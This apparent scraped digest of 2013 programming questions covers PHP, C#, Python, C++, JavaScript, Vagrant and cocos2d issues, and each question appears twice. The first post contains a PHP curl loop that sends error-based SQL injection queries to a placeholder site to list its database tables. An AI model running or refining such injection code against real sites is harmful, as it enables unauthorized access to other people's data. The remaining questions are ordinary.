Scanning words with preg_match and adding to CURL query
I'm trying to get all the tables of a particular database in the following
way:
//get_data($url) is a curl function that returns the data.
$remove="''";
do {
$returned_content = get_data($url);
$query ="+and+1=convert(int,
(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(".$remove.")))--";
$url="http://abc.com/a.aspx?param=1'".$query;
preg_match('~\'(.*?)\'~', $returned_content, $it);
if ($remove) {
$remove = $it[0];
}
else {
$remove.= ','.$it[0];
}
}
while ((stripos($returned_content,'cannot be found') == false) &&
(stripos($returned_content,'no row') == false));
The intended purpose of the above code is to build $remove as
'table1','table2','table3' which can be used in the URL to detect other
tables in the database.
However, after the first query, which is this URL:
http://abc.com/a.aspx?param=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('')))--
(note the single quotes ('') in the not in clause)
The second query is a malformed URL, where the single quotes ('') disappear:
http://abc.com/a.aspx?param=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+()))--
This leads to an error, and now the preg_match function returns ')', as
the error statement says Incorrect syntax near ')'. This bracket is then
appended to $remove, and then the whole query goes wrong.
How can I fix this code so that $remove is built correctly and lists all
the tables in the DB?
P.S. I know this looks a lot like SQL Injection, but it is a personal
security project I am pursuing.
Saturday, August 31, 2013
ItemsSource is empty in constructor of Custom Bound Horizontal ScrollView
ItemsSource is empty in constructor of Custom Bound Horizontal ScrollView
I'm having trouble updating Cheesebarons horizontal list view to the new
v3 MvvmCross. Everything seems to be working correctly except in the
constructor of my "BindableHorizontalListView" control the ItemsSource of
the adapter is null. Which is weird because the context shows that the
view-model property I am attempting to bind to shows very clearly there
are 3 items and the binding seems very straightforward. What am I missing?
I hope I've included enough of the code. I've also tried binding it via
fluent bindings on the "OnViewModelSet" event with the same result.
AXML
<BindableHorizontalListView
android:id="@+id/listView"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
local:MvxBind="ItemsSource DevicesList; ItemClick ItemSelected"
local:MvxItemTemplate="@layout/devices_horizontal_list_item" />
BindableHorizontalListView control
using System.Collections;
using System.Windows.Input;
using Android.Content;
using Android.Util;
using Cirrious.MvvmCross.Binding.Attributes;
using Cirrious.MvvmCross.Binding.Droid.Views;
namespace Project.Droid.Controls
{
public class BindableHorizontalListView
: HorizontalListView //Which inherits from AdapterView<BaseAdapter>
{
public BindableHorizontalListView(Context context, IAttributeSet
attrs)
: this(context, attrs, new MvxAdapter(context))
{
}
public BindableHorizontalListView(Context context, IAttributeSet
attrs, MvxAdapter adapter)
: base(context, attrs)
{
var itemTemplateId =
MvxAttributeHelpers.ReadListItemTemplateId (context, attrs);
adapter.ItemTemplateId = itemTemplateId;
Adapter = adapter;
SetupItemClickListener();
InitView ();
}
public new MvxAdapter Adapter
{
get { return base.Adapter as MvxAdapter; }
set
{
var existing = Adapter;
if (existing == value)
return;
if (existing != null && value != null)
{
value.ItemsSource = existing.ItemsSource;
value.ItemTemplateId = existing.ItemTemplateId;
}
base.Adapter = value;
}
}
[MvxSetToNullAfterBinding]
public IEnumerable ItemsSource
{
get { return Adapter.ItemsSource; }
set { Adapter.ItemsSource = value; this.Reset (); }
}
public int ItemTemplateId
{
get { return Adapter.ItemTemplateId; }
set { Adapter.ItemTemplateId = value; }
}
public new ICommand ItemClick { get; set; }
private void SetupItemClickListener()
{
base.ItemClick += (sender, args) =>
{
if (null == ItemClick)
return;
var item = Adapter.GetItem(args.Position) as
Java.Lang.Object;
if (item == null)
return;
if (item == null)
return;
if (!ItemClick.CanExecute(item))
return;
ItemClick.Execute(item);
};
}
}
}
ViewModel
[Activity (Label = "Device", ScreenOrientation = ScreenOrientation.Portrait)]
public class DeviceView : MvxActivity
{
protected override void OnCreate (Bundle bundle)
{
base.OnCreate (bundle);
SetContentView(Resource.Layout.device);
}
}
If only there was PCL support in XAM STUDIO I would just step in and see
how the other controls are doing it!!!!
I'm having trouble updating Cheesebarons horizontal list view to the new
v3 MvvmCross. Everything seems to be working correctly except in the
constructor of my "BindableHorizontalListView" control the ItemsSource of
the adapter is null. Which is weird because the context shows that the
view-model property I am attempting to bind to shows very clearly there
are 3 items and the binding seems very straightforward. What am I missing?
I hope I've included enough of the code. I've also tried binding it via
fluent bindings on the "OnViewModelSet" event with the same result.
AXML
<BindableHorizontalListView
android:id="@+id/listView"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
local:MvxBind="ItemsSource DevicesList; ItemClick ItemSelected"
local:MvxItemTemplate="@layout/devices_horizontal_list_item" />
BindableHorizontalListView control
using System.Collections;
using System.Windows.Input;
using Android.Content;
using Android.Util;
using Cirrious.MvvmCross.Binding.Attributes;
using Cirrious.MvvmCross.Binding.Droid.Views;
namespace Project.Droid.Controls
{
public class BindableHorizontalListView
: HorizontalListView //Which inherits from AdapterView<BaseAdapter>
{
public BindableHorizontalListView(Context context, IAttributeSet
attrs)
: this(context, attrs, new MvxAdapter(context))
{
}
public BindableHorizontalListView(Context context, IAttributeSet
attrs, MvxAdapter adapter)
: base(context, attrs)
{
var itemTemplateId =
MvxAttributeHelpers.ReadListItemTemplateId (context, attrs);
adapter.ItemTemplateId = itemTemplateId;
Adapter = adapter;
SetupItemClickListener();
InitView ();
}
public new MvxAdapter Adapter
{
get { return base.Adapter as MvxAdapter; }
set
{
var existing = Adapter;
if (existing == value)
return;
if (existing != null && value != null)
{
value.ItemsSource = existing.ItemsSource;
value.ItemTemplateId = existing.ItemTemplateId;
}
base.Adapter = value;
}
}
[MvxSetToNullAfterBinding]
public IEnumerable ItemsSource
{
get { return Adapter.ItemsSource; }
set { Adapter.ItemsSource = value; this.Reset (); }
}
public int ItemTemplateId
{
get { return Adapter.ItemTemplateId; }
set { Adapter.ItemTemplateId = value; }
}
public new ICommand ItemClick { get; set; }
private void SetupItemClickListener()
{
base.ItemClick += (sender, args) =>
{
if (null == ItemClick)
return;
var item = Adapter.GetItem(args.Position) as
Java.Lang.Object;
if (item == null)
return;
if (item == null)
return;
if (!ItemClick.CanExecute(item))
return;
ItemClick.Execute(item);
};
}
}
}
ViewModel
[Activity (Label = "Device", ScreenOrientation = ScreenOrientation.Portrait)]
public class DeviceView : MvxActivity
{
protected override void OnCreate (Bundle bundle)
{
base.OnCreate (bundle);
SetContentView(Resource.Layout.device);
}
}
If only there was PCL support in XAM STUDIO I would just step in and see
how the other controls are doing it!!!!
How to create dropdown with value and text node - WXPython
How to create dropdown with value and text node - WXPython
In HTML I can create drop-down menus like this:
<select name="">
<option value="">TextNode #1</option>
<option value="">TextNode #2</option>
<select>
Now I want something similar in wxPython. The problem is that I have not
found a solution, as it only allows me to place the text and not the
value.
Example wxPython( Create Dropdown ):
DropDownList = []
Options = {0:"None",1:"All",2:"WTF?!!"}
For Value, TextNode in Options:
DropDownList.append( TextNode )
wx.ComboBox(panel,value="Select",choices=DropDownList)
Well... How I can use a value addition to the text node?.. Thanks!
In HTML I can create drop-down menus like this:
<select name="">
<option value="">TextNode #1</option>
<option value="">TextNode #2</option>
<select>
Now I want something similar in wxPython. The problem is that I have not
found a solution, as it only allows me to place the text and not the
value.
Example wxPython( Create Dropdown ):
DropDownList = []
Options = {0:"None",1:"All",2:"WTF?!!"}
For Value, TextNode in Options:
DropDownList.append( TextNode )
wx.ComboBox(panel,value="Select",choices=DropDownList)
Well... How I can use a value addition to the text node?.. Thanks!
How to assign a Struct class to a variable's value?
How to assign a Struct class to a variable's value?
I have a variable var = "some_name" and I would like to create Struct.new
object and assign it to 'some_name'. How can I do it?
e.g
var = "some_name"
some_name = Struct.new(:name) #=> I need this?
I have a variable var = "some_name" and I would like to create Struct.new
object and assign it to 'some_name'. How can I do it?
e.g
var = "some_name"
some_name = Struct.new(:name) #=> I need this?
localtime_r support on MinGW
localtime_r support on MinGW
I'm working on a Win32 multithread C++ project and I would like to use one
of the localtime_* thread-safe alternatives to localtime().
Unfortunately I have to use MinGW compiler, and localtime_s cannot be used
outside Microsoft stuff.
The problem is that neither localtime_r is working: the related code
snippet is
#include <ctime>
...
string getCurrentTime()
{
time_t t;
time(&t);
struct tm timeinfo;
//localtime_s(&timeinfo, &t);
localtime_r(&t, &timeinfo);
char buf[128];
strftime(buf, 128, "%d-%m-%Y %X", &timeinfo);
return string(buf);
}
...
This is the compiler output:
error: 'localtime_r' was not declared in this scope
Does MinGW support localtime_r ?
If not, does exist a thread-safe alternative? (excluding boost/QT/etc that
I can't use).
I'm working on a Win32 multithread C++ project and I would like to use one
of the localtime_* thread-safe alternatives to localtime().
Unfortunately I have to use MinGW compiler, and localtime_s cannot be used
outside Microsoft stuff.
The problem is that neither localtime_r is working: the related code
snippet is
#include <ctime>
...
string getCurrentTime()
{
time_t t;
time(&t);
struct tm timeinfo;
//localtime_s(&timeinfo, &t);
localtime_r(&t, &timeinfo);
char buf[128];
strftime(buf, 128, "%d-%m-%Y %X", &timeinfo);
return string(buf);
}
...
This is the compiler output:
error: 'localtime_r' was not declared in this scope
Does MinGW support localtime_r ?
If not, does exist a thread-safe alternative? (excluding boost/QT/etc that
I can't use).
Backbone: Scroll event not firing after back button is pressed
Backbone: Scroll event not firing after back button is pressed
I'm using the following function to change the primary view of my Backbone
application:
changeView: function(view, options) {
if (this.contentView) {
this.contentView.undelegateEvents();
this.contentView.stopListening();
this.contentView = null;
}
this.contentView = view;
if (!options || (options && !options.noScroll)) {
$(document).scrollTop(0);
}
this.contentView.render();
},
As you can see, I'm resetting the scroll position every time the primary
view changes (so that the user doesn't land on the middle of a view after
scrolling down on the previous view). However, when the user presses the
back button, the scroll event isn't firing at all if you try to scroll
down. If you try to scroll up, however, then the scroll positions seems to
get reset to a position further down the page, after which scrolling works
normally.
Any ideas on what the cause might be?
I'm using the following function to change the primary view of my Backbone
application:
changeView: function(view, options) {
if (this.contentView) {
this.contentView.undelegateEvents();
this.contentView.stopListening();
this.contentView = null;
}
this.contentView = view;
if (!options || (options && !options.noScroll)) {
$(document).scrollTop(0);
}
this.contentView.render();
},
As you can see, I'm resetting the scroll position every time the primary
view changes (so that the user doesn't land on the middle of a view after
scrolling down on the previous view). However, when the user presses the
back button, the scroll event isn't firing at all if you try to scroll
down. If you try to scroll up, however, then the scroll positions seems to
get reset to a position further down the page, after which scrolling works
normally.
Any ideas on what the cause might be?
How to prevent that a Boost::Asio timer blocks the return of the io_service::run()?
How to prevent that a Boost::Asio timer blocks the return of the
io_service::run()?
I have the following (minimized) Class handling my server connection:
class AsioServer {
protected:
boost::asio::io_service ioService;
public:
AsioServer() {}
void add_request() {
//Adding async requests to the ioService
}
void timeout() {
//Stop all pedning async operations
ioService.stop();
}
void perform() {
//Set a timer
boost::asio::deadline_timer timer(ioService);
timer.expires_from_now(boost::posix_time::seconds(5));
timer.async_wait(std::bind(&AsioServer::timeout, this));
//Performe all Async operations
ioService.run();
ioService.reset();
}
};
My Problem is that the deadline timer prevents the return of
ioService.run() until it expires. What I want is the the timer is only
called when expering and then canceling the async operations, but not act
as work in the context of the io_service. Are there timers not acting as
work, or another good way dealing with this situation?
io_service::run()?
I have the following (minimized) Class handling my server connection:
class AsioServer {
protected:
boost::asio::io_service ioService;
public:
AsioServer() {}
void add_request() {
//Adding async requests to the ioService
}
void timeout() {
//Stop all pedning async operations
ioService.stop();
}
void perform() {
//Set a timer
boost::asio::deadline_timer timer(ioService);
timer.expires_from_now(boost::posix_time::seconds(5));
timer.async_wait(std::bind(&AsioServer::timeout, this));
//Performe all Async operations
ioService.run();
ioService.reset();
}
};
My Problem is that the deadline timer prevents the return of
ioService.run() until it expires. What I want is the the timer is only
called when expering and then canceling the async operations, but not act
as work in the context of the io_service. Are there timers not acting as
work, or another good way dealing with this situation?
Friday, August 30, 2013
Trying to add and delete a clone somehow not working?
Trying to add and delete a clone somehow not working?
Im really struggling to find what is going wrong here its just not quite
adding up i have another cloning example in my code but i swear they are
the same yet this one is not working? http://jsfiddle.net/a4KZs/
$("#addArrival/Departure").click(function(){
$(".question21:last").after($(".question21:first").clone(true));
});
$("#deleteArrival/Departure").click(function() {
if($(".question21").length!=1)
$(".question21:last").remove();
});
<div class="questiontext">
22. Arrival/Departure Details<br>
</div>
<div id="question21" class="input">
<div class="question21">
Arrival Date<br>
<select id="selectday4" class="daydate">
<option>Day</option>
<script>
var select = document.getElementById("selectday4");
var options = new Array();
var temp = 1;
for(var i = 0; i < 31; i++) {
options.push(temp);
temp++;}
for(var i = 0; i < options.length; i++) {
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);}
</script>
</select>
<select id="selectmonth4" class="monthdate">
<option>Month</option>
<script>
var select = document.getElementById("selectmonth4");
var options = ["January", "Febuary", "March",
"April", "May", "June", "July", "August",
"September", "October", "November", "December"];
for(var i = 0; i < options.length; i++)
{
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);
}
</script>
</select>
<select id="selectyear4" class="yeardate">
<option>Year</option>
<script>
var select = document.getElementById("selectyear4");
var options = new Array();
var firstyear = (new Date().getFullYear()) - 18;
var temp = firstyear;
for(var i = 0; i < 83; i++) {
options.push(temp);
temp--;}
for(var i = 0; i < options.length; i++) {
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);}
</script>
</select><br>
City/Port of Arrival<br>
<input type="text" name="arrival/departure"
class="textbox"><br>
Flight/Ship<br>
<input type="text" name="arrival/departure"
class="textbox"><br>
Departure Date<br>
<select id="selectday5" class="daydate">
<option>Day</option>
<script>
var select = document.getElementById("selectday5");
var options = new Array();
var temp = 1;
for(var i = 0; i < 31; i++) {
options.push(temp);
temp++;}
for(var i = 0; i < options.length; i++) {
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);}
</script>
</select>
<select id="selectmonth5" class="monthdate">
<option>Month</option>
<script>
var select = document.getElementById("selectmonth5");
var options = ["January", "Febuary", "March",
"April", "May", "June", "July", "August",
"September", "October", "November", "December"];
for(var i = 0; i < options.length; i++)
{
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);
}
</script>
</select>
<select id="selectyear5" class="yeardate">
<option>Year</option>
<script>
var select = document.getElementById("selectyear5");
var options = new Array();
var firstyear = (new Date().getFullYear()) - 18;
var temp = firstyear;
for(var i = 0; i < 83; i++) {
options.push(temp);
temp--;}
for(var i = 0; i < options.length; i++) {
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);}
</script>
</select><br>
City/Port of Departure<br>
<input type="text" name="arrival/departure"
class="textbox"><br>
Flight/Ship<br>
<input type="text" name="arrival/departure"
class="textbox"><br>
Country of Destination<br>
<input type="text" name="arrival/departure"
class="textbox"><br>
</div>
</div>
<div id="adddeleteArrival/Departure">
<div id="addArrival/Departure">
<input type="button" value="Add Arrival/Departure">
</div>
<div id="deleteArrival/Departure">
<input type="button" value="Delete
Arrival/Departure">
</div>
</div>
Im really struggling to find what is going wrong here its just not quite
adding up i have another cloning example in my code but i swear they are
the same yet this one is not working? http://jsfiddle.net/a4KZs/
$("#addArrival/Departure").click(function(){
$(".question21:last").after($(".question21:first").clone(true));
});
$("#deleteArrival/Departure").click(function() {
if($(".question21").length!=1)
$(".question21:last").remove();
});
<div class="questiontext">
22. Arrival/Departure Details<br>
</div>
<div id="question21" class="input">
<div class="question21">
Arrival Date<br>
<select id="selectday4" class="daydate">
<option>Day</option>
<script>
var select = document.getElementById("selectday4");
var options = new Array();
var temp = 1;
for(var i = 0; i < 31; i++) {
options.push(temp);
temp++;}
for(var i = 0; i < options.length; i++) {
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);}
</script>
</select>
<select id="selectmonth4" class="monthdate">
<option>Month</option>
<script>
var select = document.getElementById("selectmonth4");
var options = ["January", "Febuary", "March",
"April", "May", "June", "July", "August",
"September", "October", "November", "December"];
for(var i = 0; i < options.length; i++)
{
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);
}
</script>
</select>
<select id="selectyear4" class="yeardate">
<option>Year</option>
<script>
var select = document.getElementById("selectyear4");
var options = new Array();
var firstyear = (new Date().getFullYear()) - 18;
var temp = firstyear;
for(var i = 0; i < 83; i++) {
options.push(temp);
temp--;}
for(var i = 0; i < options.length; i++) {
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);}
</script>
</select><br>
City/Port of Arrival<br>
<input type="text" name="arrival/departure"
class="textbox"><br>
Flight/Ship<br>
<input type="text" name="arrival/departure"
class="textbox"><br>
Departure Date<br>
<select id="selectday5" class="daydate">
<option>Day</option>
<script>
var select = document.getElementById("selectday5");
var options = new Array();
var temp = 1;
for(var i = 0; i < 31; i++) {
options.push(temp);
temp++;}
for(var i = 0; i < options.length; i++) {
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);}
</script>
</select>
<select id="selectmonth5" class="monthdate">
<option>Month</option>
<script>
var select = document.getElementById("selectmonth5");
var options = ["January", "Febuary", "March",
"April", "May", "June", "July", "August",
"September", "October", "November", "December"];
for(var i = 0; i < options.length; i++)
{
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);
}
</script>
</select>
<select id="selectyear5" class="yeardate">
<option>Year</option>
<script>
var select = document.getElementById("selectyear5");
var options = new Array();
var firstyear = (new Date().getFullYear()) - 18;
var temp = firstyear;
for(var i = 0; i < 83; i++) {
options.push(temp);
temp--;}
for(var i = 0; i < options.length; i++) {
var opt = options[i];
var el = document.createElement("option");
el.textContent = opt;
el.value = opt;
select.appendChild(el);}
</script>
</select><br>
City/Port of Departure<br>
<input type="text" name="arrival/departure"
class="textbox"><br>
Flight/Ship<br>
<input type="text" name="arrival/departure"
class="textbox"><br>
Country of Destination<br>
<input type="text" name="arrival/departure"
class="textbox"><br>
</div>
</div>
<div id="adddeleteArrival/Departure">
<div id="addArrival/Departure">
<input type="button" value="Add Arrival/Departure">
</div>
<div id="deleteArrival/Departure">
<input type="button" value="Delete
Arrival/Departure">
</div>
</div>
Pointers and array class in javascript
Pointers and array class in javascript
Is there any way for me to shorten this code by using pointers? I need to
make a class that has mostly the same function as a given array class
unshift,shift,push and pop but with different names.
var makeDeque = function()
{
var a= [], r=new Array(a);
length = r.length=0;
pushHead=function(v)
{
r.unshift(v);
}
popHead=function()
{
return r.shift();
}
pushTail=function(v)
{
r.push(v);
}
popTail=function()
{
return r.pop();
}
isEmpty=function()
{
return r.length===0;
}
return this;
};
(function() {
var dq = makeDeque();
dq.pushTail(4);
dq.pushHead(3);
dq.pushHead(2);
dq.pushHead("one");
dq.pushTail("five");
print("length " + dq.length + "last item: " + dq.popTail());
while (!dq.isEmpty())
print(dq.popHead());
})();
Output should be
length 5last item: five one 2 3 4
Thanks!
Is there any way for me to shorten this code by using pointers? I need to
make a class that has mostly the same function as a given array class
unshift,shift,push and pop but with different names.
var makeDeque = function()
{
var a= [], r=new Array(a);
length = r.length=0;
pushHead=function(v)
{
r.unshift(v);
}
popHead=function()
{
return r.shift();
}
pushTail=function(v)
{
r.push(v);
}
popTail=function()
{
return r.pop();
}
isEmpty=function()
{
return r.length===0;
}
return this;
};
(function() {
var dq = makeDeque();
dq.pushTail(4);
dq.pushHead(3);
dq.pushHead(2);
dq.pushHead("one");
dq.pushTail("five");
print("length " + dq.length + "last item: " + dq.popTail());
while (!dq.isEmpty())
print(dq.popHead());
})();
Output should be
length 5last item: five one 2 3 4
Thanks!
Thursday, August 29, 2013
loading file into js variable in Rails app
loading file into js variable in Rails app
In a Rails app I need, in a js file
(app/assets/javascripts/projects.js.coffee), to load into a variable the
content of a file. The file is now stored at app/templates but I can move
it elsewhere if a different location will make it work.
I tried
$.get "app/templates/project.mustache", (template) ->
console.log template
Just to see, as first step, if the file was loaded but I get
GET http://localhost:3000/app/templates/project.mustache 404 (Not Found)
What's the right way to achieve so?
Thanks
In a Rails app I need, in a js file
(app/assets/javascripts/projects.js.coffee), to load into a variable the
content of a file. The file is now stored at app/templates but I can move
it elsewhere if a different location will make it work.
I tried
$.get "app/templates/project.mustache", (template) ->
console.log template
Just to see, as first step, if the file was loaded but I get
GET http://localhost:3000/app/templates/project.mustache 404 (Not Found)
What's the right way to achieve so?
Thanks
call function within autocomplete jquerry plugin
call function within autocomplete jquerry plugin
I'm work with autocomplete jquerry plugin. but i have face two main
problem on this
Call a function within autocomplete function
Also get the value of textbox to pass with function
Html
<input id="txtDemo" type="text" />
Js
$("#txtDemo").autocomplete({
source: availableTags
});
This is my function, Value is value of textbox
function Demo (value)
{
//code for getting value from code behind in the form of array
}
I'm work with autocomplete jquerry plugin. but i have face two main
problem on this
Call a function within autocomplete function
Also get the value of textbox to pass with function
Html
<input id="txtDemo" type="text" />
Js
$("#txtDemo").autocomplete({
source: availableTags
});
This is my function, Value is value of textbox
function Demo (value)
{
//code for getting value from code behind in the form of array
}
Wednesday, August 28, 2013
Running puppet on a single machine using a vagrant produced cluster
Running puppet on a single machine using a vagrant produced cluster
I am building a four cluster machine with Vagrant and provisioning those
machines using puppet.
I want to find a way to get my puppet scripts to only run on an individual
machine. As it stands right now, each puppet script runs identically on
every machine.
Here's my Vagrantfile
Vagrant.configure("2") do |config|
config.vm.define "Greenplum setup"
config.vm.box = "lucid64"
config.vm.provider :virtualbox do |v, override|
override.vm.box_url = "http://files.vagrantup.com/lucid64.box"
v.customize ["modifyvm", :id, "--memory", "256"]
end
config.vm.provision :puppet do |puppet|
puppet.manifests_path = "manifests"
puppet.manifest_file = "base-hadoop.pp"
puppet.module_path = "modules"
end
config.vm.define :smdw do |smdw_config|
smdw_config.vm.network :private_network, ip: "192.168.2.11"
smdw_config.vm.hostname = "smdw"
end
config.vm.define :sdw1 do |sdw1_config|
sdw1_config.vm.network :private_network, ip: "192.168.2.12"
sdw1_config.vm.hostname = "sdw1"
end
config.vm.define :sdw2 do |sdw2_config|
sdw2_config.vm.network :private_network, ip: "192.168.2.13"
sdw2_config.vm.hostname = "sdw2"
end
config.vm.define :mdw do |mdw_config|
mdw_config.vm.network :private_network, ip: "192.168.2.10"
mdw_config.vm.hostname = "mdw"
end
end
I am building a four cluster machine with Vagrant and provisioning those
machines using puppet.
I want to find a way to get my puppet scripts to only run on an individual
machine. As it stands right now, each puppet script runs identically on
every machine.
Here's my Vagrantfile
Vagrant.configure("2") do |config|
config.vm.define "Greenplum setup"
config.vm.box = "lucid64"
config.vm.provider :virtualbox do |v, override|
override.vm.box_url = "http://files.vagrantup.com/lucid64.box"
v.customize ["modifyvm", :id, "--memory", "256"]
end
config.vm.provision :puppet do |puppet|
puppet.manifests_path = "manifests"
puppet.manifest_file = "base-hadoop.pp"
puppet.module_path = "modules"
end
config.vm.define :smdw do |smdw_config|
smdw_config.vm.network :private_network, ip: "192.168.2.11"
smdw_config.vm.hostname = "smdw"
end
config.vm.define :sdw1 do |sdw1_config|
sdw1_config.vm.network :private_network, ip: "192.168.2.12"
sdw1_config.vm.hostname = "sdw1"
end
config.vm.define :sdw2 do |sdw2_config|
sdw2_config.vm.network :private_network, ip: "192.168.2.13"
sdw2_config.vm.hostname = "sdw2"
end
config.vm.define :mdw do |mdw_config|
mdw_config.vm.network :private_network, ip: "192.168.2.10"
mdw_config.vm.hostname = "mdw"
end
end
Cocos 2d: adding Sprite on a second loaded scene crashes
Cocos 2d: adding Sprite on a second loaded scene crashes
I have a cocos2d application for mac, with two scenes. In scene one, when
I push a button it loads the second scene by using:
[[CCDirector sharedDirector] replaceScene:[CompetitiveScene node]];
Now, on this second CCScene, in the init method I load a texture using:
CCSpriteBatchNode *parentNodeBullet = [CCSpriteBatchNode
batchNodeWithFile:@"bullet.png" capacity:100];
This makes the application crash on CCTextureCache.m : 276
dispatch_sync(_dictQueue, ^{
tex = [_textures objectForKey: path];
});
Apparently _textures has 0 key/values
I have no idea why is this happening, it's such a simple code! In scene1 I
simply have one button and one label ...
It gets more strange because if I change my workflow and load the
CompetitiveScene first, it works perfectly..
Any idea? Thanks in advanced :)
Nacho
EDIT1
If I perform CCSprite *player = [CCSprite spriteWithFile:@"bullet.png"];
instead of using the CCSpriteBatchNode, I have the exact same problem :/
EDIT2
If I perform CCTexture2D *texture = [[CCTextureCache sharedTextureCache]
addImage:@"bullet.png"];, same problem
EDIT3
Here is the code of the project
First layer
// CompetitiveLayer.m
#import "CompetitiveLayer.h"
#import "cocos2d.h"
#import "CollectableIncreaseAmmo.h"
enum {
kTagParentNode = 1,
};
@interface CompetitiveLayer()
-(void) addNewSpriteAtPosition:(CGPoint)p;
@end
@implementation CompetitiveLayer
-(id) init
{
if( (self=[super init])) {
CGSize s = [CCDirector sharedDirector].winSize;
// enable events
self.mouseEnabled = YES;
// Use batch node. Faster
/*
CCSpriteBatchNode *parentNodeBullet = [CCSpriteBatchNode
batchNodeWithFile:@"bullet.png" capacity:10];
spriteTextureBullet_ = [parentNodeBullet texture];
*/
NSImage *img = [NSImage imageNamed:@"bullet.png"];
if(img == nil) // log image is nil
{
CCLOG(@"NIL");
}
CCSpriteBatchNode *parentNodeBullet = [[[CCSpriteBatchNode
batchNodeWithFile:@"bullet.png" capacity:15] retain] autorelease];
spriteTextureBullet_ = [parentNodeBullet texture];
[self addChild:parentNodeBullet z:0 tag:kTagParentNode];
[self addNewSpriteAtPosition:ccp(s.width/2, s.height/2)];
}
return self;
}
-(void) addNewSpriteAtPosition:(CGPoint)p
{
CCLOG(@"Add sprite %0.2f x %02.f",p.x,p.y);
/*
CCSprite *player = [CCSprite spriteWithFile:@"bullet.png"];
player.position = ccp(p.x, p.y);
[self addChild:player];
*/
CollectableIncreaseAmmo *sprite2 = [CollectableIncreaseAmmo
spriteWithTexture:spriteTextureBullet_];
[sprite2 setPosition: ccp( p.x, p.y)];
[self addChild:sprite2];
/*
CCTexture2D *texture = [[CCTextureCache sharedTextureCache]
addImage:@"bullet.png"];
CollectableIncreaseAmmo *sprite2 = [CollectableIncreaseAmmo
spriteWithTexture:texture];
[sprite2 setPosition: ccp( p.x, p.y)];
[self addChild:sprite2];
*/
}
- (BOOL) ccMouseDown:(NSEvent *)event
{
CGPoint location = [(CCDirectorMac*)[CCDirector sharedDirector]
convertEventToGL:event];
[self addNewSpriteAtPosition: location];
return YES;
}
- (void) dealloc
{
[super dealloc];
}
@end
Second layer
// TitleLayer.m
#import "TitleLayer.h"
#import "CompetitiveScene.h"
#import "cocos2d.h"
@interface TitleLayer()
-(void) createButtons;
-(void) createTitle;
@end
@implementation TitleLayer
-(id) init
{
if( (self=[super init])) {
// enable events
#ifdef __IPHONE_OS_VERSION_MAX_ALLOWED
self.touchEnabled = YES;
self.accelerometerEnabled = YES;
#elif defined(__MAC_OS_X_VERSION_MAX_ALLOWED)
self.mouseEnabled = YES;
I have a cocos2d application for mac, with two scenes. In scene one, when
I push a button it loads the second scene by using:
[[CCDirector sharedDirector] replaceScene:[CompetitiveScene node]];
Now, on this second CCScene, in the init method I load a texture using:
CCSpriteBatchNode *parentNodeBullet = [CCSpriteBatchNode
batchNodeWithFile:@"bullet.png" capacity:100];
This makes the application crash on CCTextureCache.m : 276
dispatch_sync(_dictQueue, ^{
tex = [_textures objectForKey: path];
});
Apparently _textures has 0 key/values
I have no idea why is this happening, it's such a simple code! In scene1 I
simply have one button and one label ...
It gets more strange because if I change my workflow and load the
CompetitiveScene first, it works perfectly..
Any idea? Thanks in advanced :)
Nacho
EDIT1
If I perform CCSprite *player = [CCSprite spriteWithFile:@"bullet.png"];
instead of using the CCSpriteBatchNode, I have the exact same problem :/
EDIT2
If I perform CCTexture2D *texture = [[CCTextureCache sharedTextureCache]
addImage:@"bullet.png"];, same problem
EDIT3
Here is the code of the project
First layer
// CompetitiveLayer.m
#import "CompetitiveLayer.h"
#import "cocos2d.h"
#import "CollectableIncreaseAmmo.h"
enum {
kTagParentNode = 1,
};
@interface CompetitiveLayer()
-(void) addNewSpriteAtPosition:(CGPoint)p;
@end
@implementation CompetitiveLayer
-(id) init
{
if( (self=[super init])) {
CGSize s = [CCDirector sharedDirector].winSize;
// enable events
self.mouseEnabled = YES;
// Use batch node. Faster
/*
CCSpriteBatchNode *parentNodeBullet = [CCSpriteBatchNode
batchNodeWithFile:@"bullet.png" capacity:10];
spriteTextureBullet_ = [parentNodeBullet texture];
*/
NSImage *img = [NSImage imageNamed:@"bullet.png"];
if(img == nil) // log image is nil
{
CCLOG(@"NIL");
}
CCSpriteBatchNode *parentNodeBullet = [[[CCSpriteBatchNode
batchNodeWithFile:@"bullet.png" capacity:15] retain] autorelease];
spriteTextureBullet_ = [parentNodeBullet texture];
[self addChild:parentNodeBullet z:0 tag:kTagParentNode];
[self addNewSpriteAtPosition:ccp(s.width/2, s.height/2)];
}
return self;
}
-(void) addNewSpriteAtPosition:(CGPoint)p
{
CCLOG(@"Add sprite %0.2f x %02.f",p.x,p.y);
/*
CCSprite *player = [CCSprite spriteWithFile:@"bullet.png"];
player.position = ccp(p.x, p.y);
[self addChild:player];
*/
CollectableIncreaseAmmo *sprite2 = [CollectableIncreaseAmmo
spriteWithTexture:spriteTextureBullet_];
[sprite2 setPosition: ccp( p.x, p.y)];
[self addChild:sprite2];
/*
CCTexture2D *texture = [[CCTextureCache sharedTextureCache]
addImage:@"bullet.png"];
CollectableIncreaseAmmo *sprite2 = [CollectableIncreaseAmmo
spriteWithTexture:texture];
[sprite2 setPosition: ccp( p.x, p.y)];
[self addChild:sprite2];
*/
}
- (BOOL) ccMouseDown:(NSEvent *)event
{
CGPoint location = [(CCDirectorMac*)[CCDirector sharedDirector]
convertEventToGL:event];
[self addNewSpriteAtPosition: location];
return YES;
}
- (void) dealloc
{
